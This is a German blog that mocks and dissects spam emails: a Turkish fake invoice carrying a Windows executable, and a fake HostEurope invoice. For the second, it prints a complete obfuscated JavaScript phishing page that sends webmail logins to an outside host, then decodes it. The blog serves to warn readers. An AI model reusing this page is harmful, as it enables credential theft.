Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Schlagwortarchiv „Rechnung“

Revize fatura

Mittwoch, 19. Oktober 2022

Oh, jetzt werde ich schon auf Türkisch¹ zugespammt? 🤨️

Merhaba

Normalerweise würde ich ja sagen: Genau mein Name! Aber heute sage ich mal: Genau meine Sprache! 🤭️

Fatura önceden onaylandı, lütfen imzalayın ve geri gönderin, böylece ödemelerin ödenmesine başlayalım

İyi iş

Was für eine Rechnung denn? Ich habe nichts gekauft und nichts bestellt. Und wenn der Absender wirklich wollte, dass man eine Rechnung bezahlt, dann würde er schon den Rechnungsbetrag und die Bankverbindung in den Text der Mail schreiben. 🤔️

Aber stattdessen muss ich hier einen Anhang öffnen, wenn ich wissen will, wofür ich wieviel an wen bezahlen soll und um was zum hackenden Henker es überhaupt geht. Einen Anhang in einer E-Mail eines Unbekannten (der Absender kann beliebig gefälscht werden) zu öffnen, ist dumm und gefährlich. ⚠️

Zisan DEMIR
SEMKİM Paint and Chemistry Inc.
Kemalpasa OSB mah. 508 St. No:320
P: 35730; Kemalpasa / IZMIR
M: +09 532 621 ■■■■
T: +90 232 878 ■■■■■
zisandemir@semkim.com.tr
www.semkim.com.tr

Ich bin übrigens der Weihnachtsmann. 🎅️

Es ist hoffentlich jedem Menschen klar, dass ein Krimineller in ein solches Mailimpressum beliebige Daten anderer Menschen und Unternehmen angeben kann. Bei Semkim möchte ich heute jedenfalls nicht am Telefon sitzen, denn ich bin ganz sicher nicht der einzige Empfänger dieser Spam, und das Telefon wird wohl ordentlich bimmeln. Dass dadurch wirtschaftlicher Schaden bei einem unbeteiligten Dritten entsteht, ist einem asozialen kriminellen Spammer egal, wenn dabei nur sein asoziales Geschäft läuft. 🤮️

An der Mail hängt auch nicht etwa ein Dokument, sondern ein ZIP-Archiv mit einer Dateigröße von 241,7 KiB. In diesem Archiv befindet sich auch kein Dokument, sondern…

$ ls -lh *.zip
-rw-rw-r– 1 elias elias 242K Okt 19 15:08 'Revize fatura.zip'
$ unzip -l Revize\ fatura.zip
Archive:  Revize fatura.zip
  Length      Date    Time    Name
———  ———- —–   —-
   261699  2022-10-19 04:53   Revize fatura.exe
———                     ——-
   261699                     1 file
$ unzip Revize\ fatura.zip 
Archive:  Revize fatura.zip
  inflating: Revize fatura.exe       
$ file Revize\ fatura.exe 
Revize fatura.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
$ _

Gruseliges Bild, das mit Stable Diffusion erzeugt wurde…eine ausführbare Datei für Microsoft Windows, die von einem Unbekannten mit einer Lüge zugestellt wurde. Auch, wenn das Piktogramm des Programmes sicherlich wie ein Dokument aussehen wird², damit überhaupt jemand darauf reinfällt: Ein Doppelklick auf die entpackte Datei öffnet kein Dokument, sondern führt das Programm eines Kriminellen aus. Danach steht ein Computer anderer Leute auf dem Schreibtisch. ☹️

Antivirus-Programme helfen nur sehr eingeschränkt. Im Moment wird die klare Schadsoftware nur von einem Fünftel der Antivirus-Programme als Schadsoftware erkannt. 😵️

Wer sich darauf verlässt, durch sein Antivirus-Programm geschützt zu sein, ist in vielen Fällen verlassen. Und das gilt leider sehr regelmäßig. Antivirus-Programme können nur vor Schadsoftware schützen, die bei den Herstellern der Antivirus-Programme schon bekannt ist. Selbst eine für einen analysierenden Menschen sehr ähnlich aussehende Schadsoftware wird regelmäßig nicht erkannt. In solchen an Kleingewerbe und Mittelstand gerichteten Spams wird beinahe immer die neueste Brut der Kriminellen versendet. Denn die Kriminellen sind darauf angewiesen, dass sie Rechner mit ihrer Schadsoftware übernehmen. Sie leben davon. Deshalb wissen solche Kriminelle auch immer recht genau, was von Antivirus-Programmen nicht erkannt wird. Weil sie davon leben, dass es nicht erkannt wird. 😠️

Man kann sich das Antivirus-Schlangenöl in sehr vielen Fällen einfach sparen, wenn man stattdessen vernünftig und sicher mit einem Computer umgeht. Wie man das macht? Das habe ich schon im zuvor verlinkten Text beschrieben. Es ist auch gar nicht so schwierig. Ein sehr wichtiger Bestandteil des vernünftigen und sicheren Umgangs mit Computern ist es, dass man niemals einfach in eine E-Mail klickt. Das schützt nicht nur vor Schadsoftware, sondern auch vor Phishing, dem immer noch häufigsten Trickbetrug im Internet. E-Mail ist sehr praktisch, aber leider auch für Kriminelle. 😐️

Wer sein Gehirn benutzt und einfach keine Anhänge öffnet und keine Links klickt, die ihm per E-Mail zugestellt werden, ohne dass dies über einen anderen Kanal als E-Mail vereinbart wurde, ist auf der sicheren Seite. Es ist kaum möglich, eine giftige Datei unterzuschieben. 🛡️

Noch besser und praktischer im Alltag wäre nur die durchgehende Benutzung (und Überprüfung) digitaler Signaturen, um immer jenseits jedes vernünftigen Zweifels zu wissen, von wem eine E-Mail stammt³. Aber das ist den Menschen leider auch im Jahr 2022 noch zu kompliziert, denn dafür muss man ja klicken können. 🖱️

Erpresser, die Daten verschlüsseln und ein Lösegeld für die Daten erpressen wollen, freuen sich sehr darüber, wenn möglichst viele Menschen digitale Analphabeten sind. Ich meine dieses Wort übrigens nicht als Beschimpfung. Sie haben es einfach nicht gelernt, so wie man zum Beispiel Schreiben und Rechnen lernt, obwohl es eine wichtige Fähigkeit im 21. Jahrhundert wäre. Die tägliche digitale Verdummung von Menschen in Schule, Presse und Glotze ist Kriminalitätsförderung. Gestalten wie Frau Prof. Dr. Kristina Sinemus (CDU), Digitalministerin des Landes Hessen, nebst der korrupten Parteioligarchie, die so viel krachende Inkompetenz aus der lodernden Hirnhölle völliger Ahnungslosigkeit in Amt, Würden und vor allem in die Pfründe gehoben hat, sind offene und schamlose Kriminalitätsförderer. 🤬️

Aber die Verdummung wirkt ja ganz gut, denn so etwas wird leider trotzdem immer wieder gewählt. ☹️

¹Nein, ich kann trotz Ghetto-Sozialisation praktisch kein Türkisch (bis auf ein paar Phrasen und Schimpfwörter), aber DeepL ist sehr hilfreich…

²Ich habe hier kein Programm installiert, mit dem ich die Ressourcen aus einem Windows-Binary extrahieren kann, weil ich so etwas nicht brauche, und ich habe auch keine Lust, jetzt „auf die Schnelle“ ein entsprechendes Programm zu suchen. Ich gehe davon aus, dass entweder das Icon eines Office-Dokumentes oder das Icon eines PDF-Dokumentes verwendet wurde, um den Empfänger über den wahren Dateitypen zu täuschen. Man kann einem ausführbaren Programm für Windows jedes beliebige Icon geben. Diese Spammer leben davon, dass Menschen auf sie reinfallen.

³Eigentlich erfährt man nur, dass die E-Mail von jemanden stammt, der Zugriff auf einen bestimmten privaten Schlüssel hat und dass ihr Text auf dem Transportweg nicht verändert wurde – aber das wäre im Alltag mehr als nur ausreichend und ein hervorragender Ersatz für ein Nichts an rationalen Vertrauensgrundlagen. Die Absenderadresse einer E-Mail kann beliebig gefälscht werden. Man kann einfach reinschreiben, was man möchte, ohne dass das bemerkt wird. Ganz ähnlich, wie man auch auf einen Briefumschlag einen beliebigen Absender schreiben kann, und der Brief kommt trotzdem an.

Ihre Rechnung, Rechnungs-Nr.137784 vom 25.04.2022

Freitag, 29. April 2022

Nein, diese Mail kommt nicht von HostEurope. Es ist Phishing. ⚠️

Hallo ,

Ein Komma. Genau mein Name! 👍️

Ihre aktuelle Rechnung für Ihre Kundennummer 137784 vom 25.04.2022 steht für Sie auf

Das ist ja schön, dass die Rechnung für mich aufsteht. 😂️

Der sofort fällige Gesamtbetrag von 20,97 EUR wird Ihrem Konto in Kürze belastet. Der ausgewiesene Rechnungsbetrag wird mit ggf. vorhandenem Guthaben verrechnet.

Aha. Ich habe gegebenenfalls vorhandenes Guthaben, das verrechnet wird. So schade, dass die Computer, die im Auftrag des Hosters HostEurope Rechnungsmails versenden, nicht zum Rechnen imstande sind und mir nicht den korrekten Rechnungsbetrag anzeigen können. Vielleicht sollte HostEurope sich mal Rechner kaufen, die auch rechnen können. Das würde vieles vereinfachen. 🤣️

Ihre Rechnung liegt im HTML-Format vor und kann mit einem Mozilla Firefox, Google Chrome, Internet Explorer.

Sie kann übrigens auch mit einem Pale Moon, LibreWolf, Opera oder sonstigen Webbrowser. Aber bitte nicht mit einem Lynx oder einem Desktop-Browser, der kein Javascript ausführt, denn diese HTML-Datei ist kein HTML-Dokument, sondern…

$ cat Rechnung-137784.html 
<!DOCTYPE html>
<html lang="en">
<script language="javascript">
document.write(unescape('%3C%68%65%61%64%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%55%54%46%2D%38%22%3E%0A%20%20%20%20%3C%74%69%74%6C%65%3E%52%6F%75%6E%64%63%75%62%65%20%57%65%62%6D%61%69%6C%20%3A%3A%20%57%65%6C%63%6F%6D%65%20%74%6F%20%52%6F%75%6E%64%63%75%62%65%20%57%65%62%6D%61%69%6C%3C%2F%74%69%74%6C%65%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%2C%20%73%68%72%69%6E%6B%2D%74%6F%2D%66%69%74%3D%6E%6F%2C%20%6D%61%78%69%6D%75%6D%2D%73%63%61%6C%65%3D%31%2E%30%22%3E%0A%20%20%20%20%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%62%75%73%69%6E%65%73%73%69%6F%6E%6F%73%2E%63%6F%6D%2F%63%73%73%2F%62%6F%6F%74%73%74%72%61%70%2E%6D%69%6E%2E%63%73%73%22%3E%0A%20%20%20%20%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%62%75%73%69%6E%65%73%73%69%6F%6E%6F%73%2E%63%6F%6D%2F%63%73%73%2F%73%74%79%6C%65%73%2E%63%73%73%22%3E%0A%09%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%62%75%73%69%6E%65%73%73%69%6F%6E%6F%73%2E%63%6F%6D%2F%66%6F%6E%74%73%2F%66%61%2D%73%6F%6C%69%64%2D%39%30%30%2E%77%6F%66%66%22%3E%0A%20%20%20%20%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%20%20%20%20%09%61%2E%62%75%74%74%6F%6E%2E%69%63%6F%6E%2E%67%65%6E%65%72%61%74%65%3A%62%65%66%6F%72%65%2C%20%62%75%74%74%6F%6E%2E%62%74%6E%2E%67%65%6E%65%72%61%74%65%3A%62%65%66%6F%72%65%2C%20%61%2E%62%75%74%74%6F%6E%2E%69%63%6F%6E%2E%79%65%73%3A%62%65%66%6F%72%65%2C%20%62%75%74%74%6F%6E%2E%62%74%6E%2E%79%65%73%3A%62%65%66%6F%72%65%2C%20%61%2E%62%75%74%74%6F%6E%2E%69%63%6F%6E%2E%73%75%62%6D%69%74%3A%62%65%66%6F%72%65%2C%20%62%75%74%74%6F%6E%2E%62%74%6E%2E%73%75%62%6D%69%74%3A%62%65%66%6F%72%65%2C%20%61%2E%62%75%74%74%6F%6E%2E%69%63%6F%6E%2E%63%6F%6E%74%69%6E%75%65%3A%62%65%66%6F%72%65%2C%20%62%75%74%74%6F%6E%2E%62%74%6E%2E%63%6F%6E%74%69%6E%75%65%3A%62%65%66%6F%72%65%2C%20%61%2E%62%75%74%74%6F%6E%2E%69%63%6F%6E%2E%73%61%76%65%3A%62%65%66%6F%72%65%2C%20%62%75%74%74%6F%6E%2E%62%74%6E%2E%73%61%76%65%3A%62%65%66%6F%72%65%20%7B%0A%20%20%20%20%63%6F%6E%74%65%6E%74%3A%20%6E%6F%6E%65%3B%0A%7D%0A%40%66%6F%6E%74%2D%66%61%63%65%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%27%46%6F%6E%74%41%77%65%73%6F%6D%65%2D%73%77%61%70%27%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%64%69%73%70%6C%61%79%3A%20%73%77%61%70%3B%0A%20%20%20%20%20%20%73%72%63%3A%20%6C%6F%63%61%6C%28%27%46%6F%6E%74%41%77%65%73%6F%6D%65%27%29%2C%20%75%72%6C%28%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%62%75%73%69%6E%65%73%73%69%6F%6E%6F%73%2E%63%6F%6D%2F%66%6F%6E%74%73%2F%66%61%2D%73%6F%6C%69%64%2D%39%30%30%2E%77%6F%66%66%32%29%20%66%6F%72%6D%61%74%28%27%77%6F%66%66%32%27%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20%3C%2F%73%74%79%6C%65%3E%0A%3C%2F%68%65%61%64%3E%0A%0A%3C%62%6F%64%79%20%63%6C%61%73%73%3D%22%74%61%73%6B%2D%6C%6F%67%69%6E%20%61%63%74%69%6F%6E%2D%6E%6F%6E%65%22%3E%0A%20%20%20%20%3C%64%69%76%20%69%64%3D%22%6C%61%79%6F%75%74%22%3E%0A%20%20%20%20%20%20%20%20%3C%68%31%20%63%6C%61%73%73%3D%22%76%6F%69%63%65%22%3E%67%6C%6F%62%61%6C%70%6F%69%6E%74%2E%65%73%20%57%65%62%6D%61%69%6C%20%4C%6F%67%69%6E%3C%2F%68%31%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%6C%61%79%6F%75%74%2D%63%6F%6E%74%65%6E%74%22%20%63%6C%61%73%73%3D%22%73%65%6C%65%63%74%65%64%20%6E%6F%2D%6E%61%76%62%61%72%22%20%72%6F%6C%65%3D%22%6D%61%69%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%65%62%6D%61%69%6C%2E%6E%6F%76%6F%68%6F%67%61%72%2E%65%73%2F%73%6B%69%6E%73%2F%65%6C%61%73%74%69%63%2F%69%6D%61%67%65%73%2F%6C%6F%67%6F%2E%73%76%67%3F%73%3D%31%36%34%39%32%33%31%33%38%37%22%20%69%64%3D%22%6C%6F%67%6F%22%20%61%6C%74%3D%22%4C%6F%67%6F%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%66%6F%72%6D%20%69%64%3D%22%6C%6F%67%69%6E%2D%66%6F%72%6D%22%20%6E%61%6D%65%3D%22%6C%6F%67%69%6E%2D%66%6F%72%6D%22%20%63%6C%61%73%73%3D%22%70%72%6F%70%66%6F%72%6D%22%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%62%75%73%69%6E%65%73%73%69%6F%6E%6F%73%2E%63%6F%6D%2F%67%65%6E%65%72%61%6C%2F%61%70%69%2E%70%68%70%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%61%62%6C%65%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%62%6F%64%79%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%72%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%64%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%20%69%6E%70%75%74%2D%67%72%6F%75%70%20%69%6E%70%75%74%2D%67%72%6F%75%70%2D%6C%67%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%63%65%6E%74%65%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%61%6C%65%72%74%20%61%6C%65%72%74%2D%64%61%6E%67%65%72%22%20%69%64%3D%22%6D%73%67%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%3E%49%6E%76%61%6C%69%64%20%50%61%73%73%77%6F%72%64%2E%2E%21%20%50%6C%65%61%73%65%20%65%6E%74%65%72%20%63%6F%72%72%65%63%74%20%70%61%73%73%77%6F%72%64%2E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%20%69%64%3D%22%65%72%72%6F%72%22%20%63%6C%61%73%73%3D%22%74%65%78%74%2D%64%61%6E%67%65%72%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%3E%54%68%61%74%20%61%63%63%6F%75%6E%74%20%64%6F%65%73%6E%27%74%20%65%78%69%73%74%2E%20%45%6E%74%65%72%20%61%20%64%69%66%66%65%72%65%6E%74%20%61%63%63%6F%75%6E%74%3C%2F%73%70%61%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%63%65%6E%74%65%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%74%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%74%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%72%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%64%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%20%69%6E%70%75%74%2D%67%72%6F%75%70%20%69%6E%70%75%74%2D%67%72%6F%75%70%2D%6C%67%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%67%72%6F%75%70%2D%70%72%65%70%65%6E%64%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%67%72%6F%75%70%2D%74%65%78%74%20%69%63%6F%6E%20%75%73%65%72%22%3E%3C%2F%69%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%70%61%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%61%69%22%20%69%64%3D%22%61%69%22%20%72%65%71%75%69%72%65%64%3D%22%22%20%73%69%7A%65%3D%22%34%30%22%20%61%75%74%6F%63%61%70%69%74%61%6C%69%7A%65%3D%22%6F%66%66%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%55%73%65%72%6E%61%6D%65%22%3E%3C%2F%74%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%74%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%72%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%74%64%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%20%69%6E%70%75%74%2D%67%72%6F%75%70%20%69%6E%70%75%74%2D%67%72%6F%75%70%2D%6C%67%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%67%72%6F%75%70%2D%70%72%65%70%65%6E%64%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%67%72%6F%75%70%2D%74%65%78%74%20%69%63%6F%6E%20%70%61%73%73%22%3E%3C%2F%69%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%70%61%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%72%22%20%69%64%3D%22%70%72%22%20%72%65%71%75%69%72%65%64%3D%22%22%20%73%69%7A%65%3D%22%34%30%22%20%61%75%74%6F%63%61%70%69%74%61%6C%69%7A%65%3D%22%6F%66%66%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%50%61%73%73%77%6F%72%64%22%3E%3C%2F%74%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%74%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%74%61%62%6C%65%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%20%63%6C%61%73%73%3D%22%66%6F%72%6D%62%75%74%74%6F%6E%73%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%20%69%64%3D%22%73%75%62%6D%69%74%2D%62%74%6E%22%20%63%6C%61%73%73%3D%22%62%75%74%74%6F%6E%20%6D%61%69%6E%61%63%74%69%6F%6E%20%73%75%62%6D%69%74%20%62%74%6E%20%62%74%6E%2D%70%72%69%6D%61%72%79%20%62%74%6E%2D%6C%67%20%74%65%78%74%2D%75%70%70%65%72%63%61%73%65%20%77%2D%31%30%30%22%3E%4C%6F%67%69%6E%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%70%3E%0A%09%09%09%09%3C%64%69%76%20%69%64%3D%22%6C%6F%67%69%6E%2D%66%6F%6F%74%65%72%22%20%72%6F%6C%65%3D%22%63%6F%6E%74%65%6E%74%69%6E%66%6F%22%3E%52%6F%75%6E%64%63%75%62%65%20%57%65%62%6D%61%69%6C%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%21%2D%2D%20%4F%70%74%69%6F%6E%61%6C%20%4A%61%76%61%53%63%72%69%70%74%20%2D%2D%3E%0A%20%20%20%20%3C%21%2D%2D%20%6A%51%75%65%72%79%20%66%69%72%73%74%2C%20%74%68%65%6E%20%50%6F%70%70%65%72%2E%6A%73%2C%20%74%68%65%6E%20%42%6F%6F%74%73%74%72%61%70%20%4A%53%20%2D%2D%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%33%2E%32%2E%31%2E%73%6C%69%6D%2E%6D%69%6E%2E%6A%73%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%4B%4A%33%6F%32%44%4B%74%49%6B%76%59%49%4B%33%55%45%4E%7A%6D%4D%37%4B%43%6B%52%72%2F%72%45%39%2F%51%70%67%36%61%41%5A%47%4A%77%46%44%4D%56%4E%41%2F%47%70%47%46%46%39%33%68%58%70%47%35%4B%6B%4E%22%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%63%64%6E%6A%73%2E%63%6C%6F%75%64%66%6C%61%72%65%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%69%62%73%2F%70%6F%70%70%65%72%2E%6A%73%2F%31%2E%31%32%2E%39%2F%75%6D%64%2F%70%6F%70%70%65%72%2E%6D%69%6E%2E%6A%73%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%41%70%4E%62%67%68%39%42%2B%59%31%51%4B%74%76%33%52%6E%37%57%33%6D%67%50%78%68%55%39%4B%2F%53%63%51%73%41%50%37%68%55%69%62%58%33%39%6A%37%66%61%6B%46%50%73%6B%76%58%75%73%76%66%61%30%62%34%51%22%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%6D%61%78%63%64%6E%2E%62%6F%6F%74%73%74%72%61%70%63%64%6E%2E%63%6F%6D%2F%62%6F%6F%74%73%74%72%61%70%2F%34%2E%30%2E%30%2F%6A%73%2F%62%6F%6F%74%73%74%72%61%70%2E%6D%69%6E%2E%6A%73%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%33%38%34%2D%4A%5A%52%36%53%70%65%6A%68%34%55%30%32%64%38%6A%4F%74%36%76%4C%45%48%66%65%2F%4A%51%47%69%52%52%53%51%51%78%53%66%46%57%70%69%31%4D%71%75%56%64%41%79%6A%55%61%72%35%2B%37%36%50%56%43%6D%59%6C%22%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6F%6E%79%6D%6F%75%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%69%62%73%2F%6A%71%75%65%72%79%2F%32%2E%32%2E%34%2F%6A%71%75%65%72%79%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%70%61%74%68%2E%62%6F%6F%74%73%74%72%61%70%63%64%6E%2E%63%6F%6D%2F%62%6F%6F%74%73%74%72%61%70%2F%34%2E%31%2E%33%2F%6A%73%2F%62%6F%6F%74%73%74%72%61%70%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
</script>
</html>
$ _

…ein Javascript-Programm, das ein HTML-Dokument erzeugt. Warum man das nicht direkt in HTML schreibt? Weil man etwas zu verbergen hat, natürlich. Denn selbstverständlich kann man so etwas direkt in HTML schreiben, nur, dass es dann auch jeder ohne Probleme lesen könnte und dass dann Antivirus-Schlangenöle leichtes Spiel haben. So muss ein interessierter Leser ein paar Umwege machen, wenn er neugierig wird. 🛠️

$ cat decr.pl
$l = <>;
$l =~ s/^.*\'([^\']*)\'.*$/\1/;
foreach (split /%/, $l) { printf "%c", hex($_); }
$ cat Rechnung-137784.html | grep unescape | perl decr.pl

Ja, ich weiß: Perl sieht einfach nur schrecklich und unlesbar aus, aber es tippt sich schnell. 😉️

Und nein, so große Umwege sind es nicht. Ich habe mir schon Schlimmeres angeschaut. Aber es übersteigt eben die Kenntnisse gewöhnlicher Anwender erheblich. Und das ist der Zweck der Übung. 🎭️

